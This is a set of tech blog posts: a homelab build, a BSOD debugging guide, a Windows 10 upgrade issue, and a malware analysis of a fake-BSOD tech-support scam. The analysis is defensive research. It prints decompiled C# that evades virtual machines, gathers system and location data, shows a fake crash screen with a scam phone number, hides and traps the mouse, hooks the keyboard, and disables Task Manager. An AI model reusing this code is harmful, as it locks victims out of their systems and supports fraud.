Building a Homelab – Part 1

What is a Homelab and why build one?

Good question! A homelab is a general term for a sandbox environment that can be used for experimentation and learning, where it doesn’t matter if it all breaks and goes down. Most people build their homelabs from used enterprise equipment as it can be purchased for relatively cheap and is still reasonably powerful. Different people use their labs for different things, for example working towards a certification (e.g. CCNA, MCSA) or testing products before they deploy them in a production environment. Homelabs can vary in size from a single machine to a whole rack of servers, storage arrays and network switches.

Personally, as I do a mostly software development work, I am looking for an environment where I can create isolated programming environments, servers and databases, as well as to host some services at home.

Hardware Hunting

As a university student, I don’t have a large amount of spare money around to spend on hardware and power bills for this lab. I am also planning on keeping the lab in my bedroom so need something that I can sleep next to. So the main host for my homelab needed to be something quiet with a low power usage and relatively cheap. A machine that wasn’t huge would also be an advantage as I might be moving it to and from University occasionally. I set myself a £350 budget for the host, with £50 set aside for any spare parts or accessories that I might need.

Dell R710

Dell R710

The common homelab recommendation of the Dell R710 was quickly ruled out due to the noise. Whilst it is relatively quiet for a 2U rack server (especially compared to the DDR2 PE 1950 series machines that sound like a jet engine and eat power like it’s going out of fashion), it’s still not exactly silent. The Westmere/Nehalem era CPUs are also a getting a little old for my tastes.

The R210 II is another common recommendation, and this seemed like a more promising choice. The R210 II (not the original R210) is known for being pretty quiet, and since it uses an E3 v2 Ivy Bridge Xeon has a low idle power consumption of around 20-30W, compared to the ~100W of the R710. It is also a half-depth 1U chassis, so is much more compact than the R710. However, from reading discussions online, the R210 II isn’t quite as quiet as I wanted. It’s almost silent at idle, but under load it can start to get loud – especially if the ambient temperature isn’t below 21C. It is still a 1U server after all. The R220 is the same chassis as the R210 II so is unlikely to be any quieter either.

HP’s offerings include the DL360/80 G7 at 1U and 2U sizes respectfully. The G6 and G7 HP servers use the same socket CPUs, but the G7 is known for being slightly quieter and more energy efficient. HP servers do have a reputation for being fussier on what hardware is installed in them, and it is well documented that they will spin the fans up to full speed if a non-HP expansion card is installed.

Since I couldn’t find a rack server that fit my needs, I moved to looking at tower servers. Dell and HP servers of the same era (e.g. T110 II, T310) are much harder to come by at a reasonable price here in the UK  and actually took up as much space if not more than the R210II. The Intel NUC was a good contender though – it’s very low powered (~10-15W), small and very quiet. 4th/5th generation NUCs can be found around my £350 price point, and I was very close to buying one. However, those generation NUCs only have dual core CPUs and max out at 16GBs of RAM. The RAM limit was probably going to be fine for my requirements for now, but the dual core CPU felt very limiting.

Eventually I looked down the desktop workstation route and found two models that seemed promising – the Lenovo C30 and Dell T1700. Both are SFF workstation machines around my price point. They are quite different internally though. The Lenovo C30 had two Xeon E5-2609 CPUs, which could be cheaply upgraded to dual E5-2640’s within my budget. This would give 12C/24T, more than enough for my needs. These are Sandy Bridge E CPUs on Socket 2011 and common homelab choices (especially the eight core E5-2670 variants). This performance comes at a cost, and a dual E5 system idles around 150-200W which quickly adds up on the power bill.

On the other hand, the T1700 SFF from Dell features a single E3-1240v3 CPU, a Haswell part with 4C/8T. These are one generation newer than the CPUs in the popular R210 II as mentioned earlier and are great in terms of power consumption. Looking at the Passmark scores (not a particularly accurate means of comparison, but it does provide a quantitative value), a single 2650 is only just ahead of the 1240v3: https://www.cpubenchmark.net/compare/Intel-Xeon-E3-1240-v3-vs-Intel-Xeon-E5-2650/1952vs1218.

It all got a bit overwhelming, so I found 4 eBay listings and stuck them all in Excel:

After a lot of deliberation, I settled on the T1700. Whilst it wasn’t the best in any area, it seemed like the best compromise between power, size and noise. Internally it was very similar to the R210 II, but in a SFF tower format. I picked it up for £332 from PCBitz (http://pcbitz.com/) with the following specification:

  • Intel Xeon E3-1240v3 @ 2.5Ghz
  • 16GB Non-ECC DDR3 UDIMMs (4x4GB)
  • NVidia Quadro K600
  • 2TB Hitachi Ultrastar HDD
  • 255W PSU

Dell Precision T1700 SFFDell Precision T1700 SFF Internals

 

Whilst I ideally would have preferred 2x8GB sticks of RAM (and preferably ECC), this specification should be enough for now with scope to upgrade in the future. Unfortunately this machine uses ECC UDIMMs, which are much more expensive than the more common ECC RDIMMs found in servers.

The only real limiting factor of this SFF machine is storage – there is only one 3.5″ HDD bay and one ODD bay. The 2TB drive in the machine at the moment passes all SMART health checks and has no bad sectors, and should be fairly reliable as it’s an Ultrastar enterprise drive, but it’s really loud! Even after adjusting the AAM settings it’s still far louder than the 2TB Seagate Barracuda drive in my main PC. Performance was clearly prioritised over noise.

Software

The purpose of this machine is to run virtual machines so I can experiment with various OS’s and move some of my programming environments off my main PC. I’m also hoping to setup a full Windows AD domain to get some more experience in that area. There are 3 main hypervisors that I am considering.

  • Proxmox. Proxmox is a KVM hypervisor built on Debian. It supports LXC containers and full VMs and is completely free and open-source
  • ESXi. Probably the most popular choice in the enterprise, ESXi is a free(mium) hypervisor from VMWare
  • Hyper-V. Another popular enterprise option for Microsoft environments

I am currently planning on using Proxmox for a variety of reasons.

  1. Free and Open-Source. Proxmox uses the Kernel Virtual Machine hypervisor on Debian and all the features of Proxmox are completely free. ESXi is free in itself but does have some limitations. It no longer has any RAM limits and has fairly generous CPU limits (max 2 physical CPUs and 8 vCPUs per VM). However, it doesn’t support vCenter management or backups (among other things) without paying for a full licence.
  2. Web UI. I prefer to manage things with a web UI rather than needing to download another program to manage my VMs. Hyper-V doesn’t support this and ESXi’s web client is only just starting to mature. Proxmox has a feature rich web UI that’s pretty decent
  3. Containers. Whilst I am planning on running a few Windows Server VMs, a lot of my VMs are going to be linux. To save resources and make my hardware go much further, Proxmox supports LXC containers which share the host kernel, eliminating the need to virtualise a the whole OS.

The disadvantage of Proxmox is the fact it’s not well-known in the enterprise. If I get a job as a sysadmin or similar, the chances are I will be working with ESXi or Hyper-V. Despite that, I am planning on starting with Proxmox and seeing how I get on. I can always play with ESXi or Hyper-V in the future.

Next Steps

Time to get started setting everything up. Here are the main tasks I need to get done before I can start setting up my VMs.

  1. Storage. The single 2TB HDD is loud and too slow to run lots of VMs on once. The plan is to get a 3.5″ to 2x 2.5″ HDD converter and replace the existing drive with a 250GB Samsung 840 EVO and a 750GB 2.5″ HDD, both from my spare parts box. I can then put the 2TB drive in a USB 3 enclosure and use it for backups.
  2. Cooling. Currently the CPU hits 95C under full load. This is less than ideal, and the fans do make a lot of noise at full speed. Dell’s propriety 5 pin fan header makes replacing the intake fan (a Foxconn PVA080F12H 80mm fan) a bit difficult. I do plan on replacing the old stock TIM with some better performing paste to hopefully lower the temperatures by a few degrees. Fortunately the machine is in a good condition and doesn’t require any other cleaning or dust removal.
  3. Networking. Depending on where I put the machine I will need to decide how I want to connect this to the network.

Resources

Some recommended resources and sites I’ve found so far:

  • The /r/homelab subreddit – a community of other homelabbers. Be sure to check out their wiki
  • Lab Gopher – a tool that searches eBay for various servers and ranks them for you
  • Bargain Hardware UK – a good place to look instead of eBay, selling various used servers
  • PCBitz – where I ended up buying my machine from
  • Intel ARK – the best place to find out the specs of every CPU Intel has made

A Brief Guide to Debugging a BSOD – Windows Vista, Windows 7, Windows 8, Windows 10

Note: Before I start, I should mention that this guide will not cover every aspect of a BSOD or every situation which can occur within a dump file, I feel this expectation should be addressed beforehand to inform you that BSOD debugging is a fairly complex and time consuming process. I will not promise that this guide this will solve your BSOD pandemic, nonetheless, it will give a solid understanding of how a BSOD works and how to provide useful debugging information to assist us within the debugging process.


1. Introduction – What is a BSOD?

A BSOD/BSoD (Blue Screen of Death) is a form of crash which occurs on the Windows operating system. A similar crash additionally occurs on Linux systems, and is known as a Kernel Panic. It is caused by an error within the Windows Kernel, an integral part of the operating system. The BSOD, is often misunderstood and tarnished as an hindrance to the user; true, this may be, but the BSOD is actually extremely useful to the user and the debugger. It provides notification to the user that a serious error has happened, and provides the option of enabling the debugger to investigate the problem and find the root cause. I’ve provided an example of the latest BSOD screen provided by Microsoft below:

windows-10-bsod

By reading this guide, I hope you will gain a greater insight into the importance of a BSOD and thus a greater appreciation to how useful a BSOD can be when your system is experiencing problems.

1.1 Where do I locate the dump files?

Once you have experienced a BSOD, then hopefully a dump file will be created. A dump file is a snapshot of the system’s memory at the time of the crash. The dump file will have a file extension called .DMP, and there is three different dump file types which you should know:

  • Minidump – this contains a snapshot of the Kernel address space at the time of the crash
  • Kernel Memory dump – this contains the entire Kernel address space at the time of the crash
  • Full Memory Dump – this contains the entire address space of the system at the time of the crash

The directory in which the Mindumps are stored is:

Code:
%systemroot%\Minidump

The Kernel Memory Dump and the Full Memory Dump files are located in the following directory path:

Code:
%systemroot%\MEMORY.DMP

These files can opened with a special debugging program called WinDbg (Windows Debugger). I will introduce WinDbg shortly, but please note that mastery of WinDbg takes time and great technical knowledge.

1.2 – How do I configure my dump file settings?

The dump file settings dictate the behavior of how Windows decides on which dump file type it should create, and the number of dump files which are created. The default settings will be suffice, since they create both a Minidump and a Kernel Memory Dump, although, if you have changed these settings in the past or someone else has changed the settings for you, then I will briefly show you how to reset the settings to default.

Windows Vista & Windows 7:

  1. Open Computer (Start > Computer)
  2. Select System Properties
  3. Select Advanced System Settings
  4. Select Settings from Startup and Recovery (see image)

system-properties

You will need to change the settings so they correspond to the values given in the image below:

dump-file-settings

I usually configure the settings so no existing Kernel Memory dump files are overwritten, this provides continuity when troubleshooting the issue at hand and more importantly means that no crashes are missed from being debugged.

Windows 8 & Windows 10:

The same instructions apply as with the Windows Vista and Windows 7 builds, the following has been added for consistency:

windows-8-config-1

The dump file settings vary very slightly between Windows 8 and Windows 10, the first image is Windows 8 and the second image corresponds to Windows 10, I recommend you set the dump file settings to the settings shown in the two images accordingly:

Windows 8:

windows-8-config-2

Windows 10:

win10-memory-dump


2. Recommended Software – Which programs should I use to view the dump files?

There is a few programs which are able to view dump files, although, the industry standard is to use WinDbg since this program has been specifically developed by Microsoft to view dump files with. You may use BlueScreenView and WhoCrashed but those programs do not provide the amount of detail or depth which is required to accurately debug a BSOD.

In addition to WinDbg, the Sysnative BSOD Processing App may also be interest to anyone which wishes to have a quick and dirty analysis of several dump files.

2.1 How do I install WinDbg?

WinDbg is part of the SDK (Software Development Kit), the latest build of WinDbg is supported from Windows 7 to Windows 10; the build number is10.0.10240.9. You will need to select the Debugging Tools for Windows option – should be default – when using the SDK installation wizard, the most up to date download link can be found here – https://msdn.microsoft.com/en-us/win…/dn913721.aspx

Once you have successfully installed WinDbg, then you will to ensure that symbols have been configured to the Microsoft Public Symbol Server and the dump files have been associated to WinDbg. Please find the two necessary tutorials for configuring WinDbg correctly:

Symbol files have the .pdb file extension and used by WinDbg to translate memory addresses and structures in memory to meaningful text which a human could understand. More Information on Symbol Files, I would suggest reading the following article – Symbol Files (Windows)


3. What are the common causes of BSODs and how can I prevent them?

BSODs are largely unpredictable and can be produced in a wide variety of circumstances, the purpose of this section is to outline some of the common causes of BSODs and enable you as the user to prevent BSODs from being produced to begin with.

3.1 Common Causes of BSODs

Cause: Outdated or incompatible device drivers

Prevention: It is vitally important to ensure that you have the latest drivers for your hardware devices, these updates provide compatibility and stability updates which help prevent drivers from malfunctioning. However, I highly recommend you do not use tools like DriverMax or similar programs to check for driver updates, these programs largely use outdated databases which contain false information and poorly written drivers. You use only update drivers from the official manufacturer page and check that the driver version you are installing corresponds to the device which uses it, fortunately some manufacturers provide an automatic detection tool which can find the correct drivers for you.

If you would like to find more information about a driver, then I would recommend using the Driver Reference Table (DRT)https://www.sysnative.com/drivers/

Cause: Deletion or modification of important system files

Prevention: You should never delete or modify any system settings/files unless you have absolute certainty about the purpose of the said setting or file. There is immense amounts of bad advice on forums and blogs suggesting the modification of any system files or settings to “improve” performance and to prevent system crashes; much of this advice is unfounded and simply untrue. The Windows operating system is becoming increasingly more robust in terms of security and performance, there is no need to alter such settings unless there is good reason to do so. I would strongly suggest you do not installprograms which claim to be able to remove unused/unimportant files, remove registry keys for performance and improve system security with their scanning tools. The advice provided by helpers on Sysnative comes from many experienced experts who have great breadth of the Windows operating system and other areas of computing, please ask us if you have any questions about performance or security.

Cause: Malicious Software and lack of security

Prevention: Malware might not be a direct cause of BSODs in most cases, however, it can certainly help trigger BSODs by modifying system files and inviting other malicious software to corrupt the system. It is strongly advised to ensure that you install all important Windows Updates, update AV database definitions for programs such as Malwarebytes and remove any software which is known to have vulnerabilities. The most commonly exploited programs are:

  1. Adobe Flash Player
  2. Adobe PDF Reader
  3. Java Runtime

Most websites now support HTML 5 and therefore Flash Player is no longer needed at all; there are many open source alternatives to Adobe Reader and the Java runtime (if needed) can be disabled from running in your browser, thereby preventing any malicious applets from being run.

To keep updated with new vulnerabilities and patch releases, then I suggest you our General Windows Information section –https://www.sysnative.com/forums/gene…d-information/

Cause: Poorly developed software, multiple AV programs and bloatware

Prevention: I’ve seen many poorly developed programs cause BSODs, and thus it is highly recommended that you install software which is reputable and take some considerable time researching the program before installation. This will also help to prevent malicious software from installed too. I would avoid software mirrors like Softpedia, CNET and FileHippo. Further to the above, you never run two real-time anti-virus programs one system, this leads to serious conflicts and crashes which usually result in a BSOD. Typically, it is recommended to have one real-time anti-virus program and several different on-demand scanners.


4. Common BSOD Misconceptions – What are they?
There is some very common misconceptions and myths surrounding BSODs and debugging BSODs. In this section I hope to address some of these issues and provide the correct answers.

 

  • Probably Caused by:

 

The common problem I often notice when people first begin to debug, that they assume that the “Probably caused by:” is absolutely correct and points directly to the exact cause of the BSOD. In some circumstances this is true, however, often this often not the case since the “Probably caused by:” line tends to point to either a Microsoft system file or the last module which called in the stack. The “Probably caused by:” provides a rough indication of the cause and helps to provide some context.

Code:
BugCheck 139, {21, fffff80060cda320, fffff80060cda278, 0}

*** WARNING: Unable to verify timestamp for Qcamain10x64.sys
*** ERROR: Module load completed but symbols could not be loaded for Qcamain10x64.sys
Probably caused by : Qcamain10x64.sys ( Qcamain10x64+1daf1 )

For example, netio.sys may be blamed as the cause of the crash, although, since Microsoft system components are rarely the issue, we can assume that WinDbg isn’t revealing the true cause, and therefore will need to investigate further. On the other hand, netio.sys provides us with an indication that the crash was related to some networking aspect of the operating system, and thus we should begin to investigate any network adapter drivers or similar components.

 

  • Last Running Process

 

Another common misconception I often see, and this is similar to the first issue, is that beginners often assume that the last running process is possibly the process which caused the system to crash, while again, this may be true it is not often the case. The last running process simply indicates the last active process at the time of the crash, it can in some cases be useful, but usually is something which can be ignored.

Code:
{...}

CPU_COUNT: 8

CPU_MHZ: 9c3

CPU_VENDOR:  GenuineIntel

CPU_FAMILY: 6

CPU_MODEL: 3c

CPU_STEPPING: 3

CUSTOMER_CRASH_COUNT:  1

DEFAULT_BUCKET_ID:  STACK_BUFFER_OVERRUN

PROCESS_NAME:  System
{...}

 

  • !analyze -v

I have seen many tutorials and blogs state that !analyze -v is the definite output which WinDbg produces, and this extension will provide you with all the answers to debugging a BSOD. The !analyze -v extension is designed to give a quick summary analysis of the crash, such as the call stack, bugcheck parameters and some general hardware information (Windows 10 WinDbg builds). It is good practice to delve deeper into BSODs to gather as much information as you can about the system, although, there are numerous debugging commands/extensions you will learn these with time.

  • Debugging is difficult/Debugging is easy

There is some truth in this, but debugging isn’t as difficult to learn if you have some patience and dedication. It can be tiresome and laborious task to learn C, x86-x64 Assembly and operating system architecture, but once you have mastered these topics then debugging can become a fun process. On the other hand, I have also seen the opposite, many users believe – mostly from ignorance – that debugging is something which doesn’t take a long time and can be learned within a few weeks; this simply isn’t the case, and the reason why many have started but do not finish.

  • Windows and BSODs

A large number of BSODs are caused by third-party drivers and malicious software. I often see many blogs accuse Windows of being unstable and prone to producing BSODs due to poor development; this is simply untrue, nonfactual and non-existent. Only a small number of BSODs are produced by Windows itself, and these bugs are usually reported and resolved quickly by Microsoft via Windows Update. As stated beforehand, a vast majority of these bugs are caused by third-party drivers, a list of common BSOD-related drivers is provided here – https://www.sysnative.com/drivers/bsod_drivers.php


5. Far and Beyond – Reference Material for Debugging BSODs

At Sysnative, we have written many useful tutorials which can be used to assist yourself with your debugging efforts, however, there is a few debugging blogs and websites which you may find useful.

Sysnative:

Sysnative BSOD Tutorial Index

Other:

Blogs:

Other Websites:

 


6. Having BSOD Issues?

If you’re experiencing issues with BSODs or require any assistance with debugging your own, then please start a new thread in the BSOD, Crashes, Kernel Debugging section of our forum using the BSOD Posting Instructions.

Happy Debugging!

Fake BSOD Malware – New Scam Infection

Recently there has been news of a new piece of malware going around, creating havoc on user’s machines with a fake BSOD screen. The Sysnative team first saw this on Bleeping Computer here (you can see my posts – ring 0).

Fake BSOD-14361d1436936271-fake-bsod-screen-sysnative-staff-room-fake-20bsod-jpg-jpg

The phone number to call for support is “888-991-9974”. Google searching (with cache) shows interesting results:

Code:
Call us : (888) 991-9974. Email : support@gboptimizer.com. Address : 121 Newark Ave, Suite 555, Floor 5, Jersey City, NJ – 07302

You can see here in an archive of the website that the old number is indeed there. Yet if you look up the site as of March 2015, there’s a different number. However, it also seems they’ve forgotten to update the old number in a few places on their site, such as here.

With all of that said, I set out to find how to get the specific .exe that was in charge of dropping this particular malware. Malwarebytes found a neat way to drop it, which was using iLivid. I wasn’t aware of iLivid at the time of our investigation, and the fact that it installed our wanted .exe, and I instead discovered WinFix 10 drops it.

Unfortunately, as I’m writing this article, I’ve noticed that the webpage for WinFix has pretty much been killed off by its host. Archive won’t show any reports of it either, so it looks like we won’t be able to access it anymore. In any case, even before the website was killed off, the download function on WinFix’s website didn’t work, so I needed to find out how to get its setup executable. Well, needless to say after digging for a bit, I discovered a fileserver index that holds the setup executable for WinFix, and this worked. The version that dropped ‘SenseIUpdaterN.exe’ for me was “WinFix_WINFIXMK”, as the others didn’t.

Note:
Due to the website being killed off by the host, most likely for hosting malware, all of the malicous files stored were of course changed to not contain their original code. For example, ‘SenseIUpdaterN.exe’ is instead filled with preset HTML code from the host, rather than its payload. It was discovered by niemiro that if you change its extension to XML, and load it up in a web browser, you can see a custom 404 page from the host:

Fake BSOD-14934d1438355610-fake-bsod-screen-sysnative-staff-room-ipage-png-png

Taking a look at WinFix’s GUI real quick, we can see it’s essentially your basic fake registry cleaner/scanner that says there are issues with your system when there’s really not. For example, here are a few excerpts from a ~10 minute old clean install:

Fake BSOD-winfix-10-png

Notice my system health is “critical”.

Fake BSOD-winfix10v2-png

For curiousity’s sake, if we do attempt to resolve these “problems”, here’s what happens:

Fake BSOD-winfix10v3-png

Fake BSOD-winfix10v4-png

So this software’s legitmacy is pretty self-explanatory. Overall, I wonder if the WinFix devs are in any relation to the GBOptimizer devs, if not the same people.

Moving onto the analysis, note some important keys below after the installation of WinFix 10. For example, the fake BSOD is consistently “called”/forced by a scheduled task that’s set, which you can see I commented in the code box below:

Code:
----------------------------------
Keys added: 20
----------------------------------
HKLM\SOFTWARE\Microsoft\Tracing\irsetup_RASAPI32
HKLM\SOFTWARE\Microsoft\Tracing\irsetup_RASMANCS
HKLM\SOFTWARE\Microsoft\Tracing\SenseIUpdaterN_RASAPI32
HKLM\SOFTWARE\Microsoft\Tracing\SenseIUpdaterN_RASMANCS
HKLM\SOFTWARE\Microsoft\Tracing\Winfix 10_RASAPI32
HKLM\SOFTWARE\Microsoft\Tracing\Winfix 10_RASMANCS
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Winfix 10 Pro1.0
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Logon\{949AC1BE-9B98-4B63-A32A-1AAA44EAB314}
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{53A78E81-167C-4C9F-8610-F5E0855D96FE}
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{E4916F81-B0AC-4C4F-A8DA-835C669486B1}
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{53A78E81-167C-4C9F-8610-F5E0855D96FE}
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{949AC1BE-9B98-4B63-A32A-1AAA44EAB314}
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{E4916F81-B0AC-4C4F-A8DA-835C669486B1}
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Winfix 10 Auto Start Logon
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Winfix Helper
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{b892d89f-cade-4f10-a61e-5493d54be5ca} // Here's the scheduled task that forces the fake BSOD
HKLM\SOFTWARE\Developerts LLC
HKLM\SOFTWARE\Developerts LLC\Winfix
HKLM\SOFTWARE\Winfix 10
HKU\S-1-5-21-1266725278-3163234071-714638740-1000\Software\Microsoft\GDIPlus

So what language was it programmed in?

Code:
Microsoft Visual C# / Basic .NET

Surprisingly, the malware was written in managed code (.NET). With that said, it’s relatively simple to disassemble/reverse. The first thing to note however is it checks to see if it’s running in a virtual environment (particularly VMware), and if so, the payload won’t execute, and you ultimately won’t experience the fake BSOD.

Code:
        public string isVirtualMachineCode0000X01()
        {
            string result;
            foreach (ManagementBaseObject current in new ManagementObjectSearcher("Select * from Win32_ComputerSystem").Get())
            {
                string text = current["Manufacturer"].ToString().ToLower();
                if (text.Contains("microsoft corporation") || text.Contains("vmware"))
                {
                    result = "Yes";
                    return result;
                }
                if (current["Model"] != null)
                {
                    string text2 = current["Model"].ToString().ToLower();
                    if (text2.Contains("microsoft corporation") || text2.Contains("vmware"))
                    {
                        result = "Yes";
                        return result;
                    }
                }
            }
            result = "No";
            return result;
        }

If no virtual environment is found and the proper argument to continue payload execution is passed, the malware then checks for various sysinfo:

Code:
}
cls_DB900042343242.IPAddress0000X01 = response.ipAddress; // IP address
cls_DB900042343242.CountryName0000X01 = response.countryName; // Country
cls_DB900042343242.CountryCode0000X01 = response.countryCode; // Country code (e.g. USA's code is 1)
cls_DB900042343242.CityName0000X01 = response.cityName; // City
cls_DB900042343242.RegionName0000X01 = response.regionName; // Region
cls_DB900042343242.ZipCode0000X01 = response.zipCode; // Zip code
cls_DB900042343242.TimeZone0000X01 = response.timeZone; // Timezone
cls_DB900042343242.MachineName0000X01 = Environment.MachineName; // Machine name (i.e. your computer's name)
cls_DB900042343242.OSVersion0000X01 = Environment.OSVersion.ToString(); // Prints the Microsoft OS version # to a readable product name string
cls_DB900042343242.ProcessorCount0000X01 = Environment.ProcessorCount.ToString(); // Prints the # of processors in the system
cls_DB900042343242.isVirtualMachine0000X01 = cls_DB900042343242.isVirtualMachineCode0000X01();
cls_DB900042343242.NetworkCode0000X01 = 7;
Settings.Default.X019988FFCB12 = cls_DB900042343242.SP_NewAlert0000X01();
Settings.Default.Save();
}

As an example, here’s one of the sysinfo check excerpts regarding IP grabbing:

Code:
string arg = new WebClient().DownloadString("https://icanhazip.com");

It uses the WebClient().DownloadString method to download the resource as a string.

If we disassemble the exe and check its resources, we can find a string table with the following contents:

Code:
ÎÊï¾   ‘   lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0,  Culture=neutral,  PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet           PADPADPAâHÀ    ×   l a b e l 1 . T e x t     ëA problem has been  detected and Windows has been shut down to prevent damage to your  computer.

IRQL_NOT_DISPATCH_LEVEL

If this is the first time you've seen this error screen, restart your  computer. If this screen appears again, follow these steps:

Check to make sure any new hardware or software is properly installed.  If this is a new installation, ask your hardware or software  manufacturer for any Windows updates you might need.

If problems continue, disable or remove any newly installed hardware.  Disable BIOS memory options such as caching or shadowing. If you need to  use Safe Mode to remove or disable components, restart your computer,  press F8 to select Advanced Startup Options, and then select Safe Mode.

Technical Information:

*** STOP: 0X00000ed (0X80F128D0, 0xc000009c, 0x00000000, 0x0000000)


Beginning dump of physical memory
Physical memory dump complete.
Contact your system administrator or technical support group for further assistance.

More Info : https://msdn.microsoft.com/en-us/library/windows/hardware/ff559278(v=vs.85).aspx

For technical support assistance call : {phone}

The malware “calls” the 0xED bug check (which is really UNMOUNTABLE_BOOT_VOLUME) and prints it as IRQL_NOT_DISPATCH_LEVEL (which is really 0x8). To make matters even more interesting, the malware dev even pointed to the correct MSDN article for the bug check, but failed to put the correct bug check code. Note the following:

Code:
For technical support assistance call : {phone}

We can find the string replacement for {phone} in load_number0007x3().

Code:
        private void load_number0007x3()
        {
            try
            {
                DataTable dataTable = new cls_DB900042343242
                {
                    NetworkCode0000X01 = 7
                }.SP_GetAlterPhoneNumber0000X01();
                this.label1.Text = this.label1.Text.Replace("{phone}", dataTable.Rows[0]["PhoneNumber"].ToString());
            }
            catch (Exception)
            {
                this.label1.Text = this.label1.Text.Replace("{phone}", "1-800-901-1275 (USA - Canada)");
            }
        }

It’s replacing {phone} with “PhoneNumber”, which is “1-800-901-1275 (USA – Canada)” by using the String.Replace method.

Let’s look further into the fake BSOD with this image:

Note “label1.Txt”. If we go through the code, we stumble upon this:

Code:
private void InitializeComponent()

The use of the InitializeComponent() method is interesting to see, as its existence implies we can expect something GUI/art related. InitializeComponent() is used for WFP and Windows’ forms designer, and in this case it was the latter. We can guess that’s our fake BSOD, and we can guess right:

Code:
            this.BackColor = Color.DarkBlue; // System-defined color that has an ARGB value of #FF00008B (our fake BSOD color)
            base.ClientSize = new Size(883, 531); // Setting width/height of control area
            base.Controls.Add(this.label1); // label1 is our font for the fake BSOD
            base.FormBorderStyle = FormBorderStyle.None; // Set border style to none
            base.MaximizeBox = false; // No maximize button located in the caption bar
            base.MinimizeBox = false; // No minimize button located in the caption bar
            base.Name = "frm_main"; 
            base.ShowIcon = false; // No icon located in the caption bar
            base.ShowInTaskbar = false; // No taskbar button/icon - also, alt+tabbing for previews will not show it
            base.StartPosition = FormStartPosition.CenterScreen; // At run time of the form, center the form of the current screen
            this.Text = "Form1";
            base.FormClosed += new FormClosedEventHandler(this.frm_main_FormClosed);
            base.Load += new EventHandler(this.frm_main_Load);
            base.ResumeLayout(false);

Let’s check label1:

Code:
            this.label1 = new Label();
            base.SuspendLayout();
            this.label1.BackColor = Color.Transparent; // Set backcolor on the text to transparent so it's just the text
            this.label1.Dock = DockStyle.Fill; // Control's edges are docked to the all edges of its containing control and sized appropriately
            this.label1.Font = new Font("Courier New", 15f, FontStyle.Bold, GraphicsUnit.Point, 0); // Font  is Courier New, 15px, bold
            this.label1.ForeColor = Color.White; // Font color is white
            this.label1.Location = new Point(0, 0);
            this.label1.Name = "label1";
            this.label1.Padding = new Padding(200, 0, 200, 0);
            this.label1.Size = new Size(883, 531);
            this.label1.TabIndex = 1;
            this.label1.Text = componentResourceManager.GetString("label1.Text");
            this.label1.TextAlign = ContentAlignment.MiddleLeft;
            base.AutoScaleDimensions = new SizeF(6f, 13f);
            base.AutoScaleMode = AutoScaleMode.Font;

So how does the fake BSOD inevitably occur?

Code:
        private void frm_main_Load(object sender, EventArgs e)
        {
            base.WindowState = FormWindowState.Maximized;
            base.TopMost = true;
            this.DisableMouse();
            this.KeyboardHook(this, e);
            this.SetTaskManager(false);
            this.load_number0007x3();
        }

Let’s look into this one by one:

Code:
this.DisableMouse();

What is this doing?

Code:
        private void DisableMouse()
        {
            this.OldRect = Cursor.Clip;
            this.BoundRect = new Rectangle(50, 50, 1, 1);
            Cursor.Clip = this.BoundRect;
            Cursor.Hide();
            Application.AddMessageFilter(this);
        }

The dev created the function DisableMouse() that when called, hides the mouse cursor using the Cursor.Hide method. Not only is it hidden, but Cursor.Clip is used to clip the cursor by drawing a 1×1 rectangle at (50, 50), forcing it to move only in its clipping rectangle bounds.

Code:
this.KeyboardHook(this, e);

What is this doing?

Under the main function, we can see:

Code:
private const int WH_KEYBOARD_LL = 13;

This tells us somewhere in the code, we’ll find the SetWindowsHookEx function. This function installs an application-defined hook procedure into a hook chain, which allows for various system events to be monitored. Specifically, the parameter the dev used here installs the low-level keyboard input event hook procedure.

Why does the dev do this? Likely just to disable the keyboard.

Something interesting to note is, as a temporary workaround to a hard shutdown, the user can CTRL-ALT-DEL to bring up the menu, and then select ‘log out/sign out’ and re-log/sign back in to avoid the hard shutdown. The reason for this is, despite disabling Task Manager, you cannot disable CTRL-ALT-DEL handling outside of any sort of kernel-level code.

Code:
this.SetTaskManager(false);

What is this doing?

Code:
        public void SetTaskManager(bool enable)
        {
            RegistryKey registryKey =  Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System");
            if (enable && registryKey.GetValue("DisableTaskMgr") != null)
            {
                registryKey.DeleteValue("DisableTaskMgr");
            }
            else
            {
                registryKey.SetValue("DisableTaskMgr", "1");
            }
            registryKey.Close();
        }

It disables Task Manager by setting the value “DisableTaskMgr” to 1. I can only presume the dev obviously did this so users cannot bring up Task Manager and inspect the active system processes.

Overall, the malware itself isn’t in-depth nor impressive, however it’s interesting to see malware from a managed code perspective as opposed to the usual kernel-level malware we see nowadays.

Issues reserving Windows 10 – “Get Windows 10” icon missing

Update:

A fix for this has been posted towards the end of this post, along with instructions on getting the launcher to run. If you’re still experiencing problems, please register create a new thread on our forums where someone will be able to assist you further.

Original post:

Some users are reporting issues reserving their copy of Windows 10 through the “Get Windows 10” app, caused by KB3035583, which appears in the icon tray under Windows 8 and Windows 8.1. This app is used to reserve a copy of Windows 10 that will be downloaded in the background once Microsoft is ready to roll out the upgrade to your system. Once downloaded, the user will be notified about it and he’ll have the choice to either install it right away or delay the upgrade to a later date.

The issue with this app is that since it first appeared, a large number of users have been experiencing problems with the app and have been unable to view the “Get Windows 10” icon in the tray, as seen below:

windows 10 image 1

Several solutions have so far been proposed, but so far users have experienced mixed results with these. Some details on fixes are listed at the end of this post. If you’re still unable to reserve your copy of Windows 10 after these fixes, please register an account and create a new thread on our forums where someone will be able to assist you further.

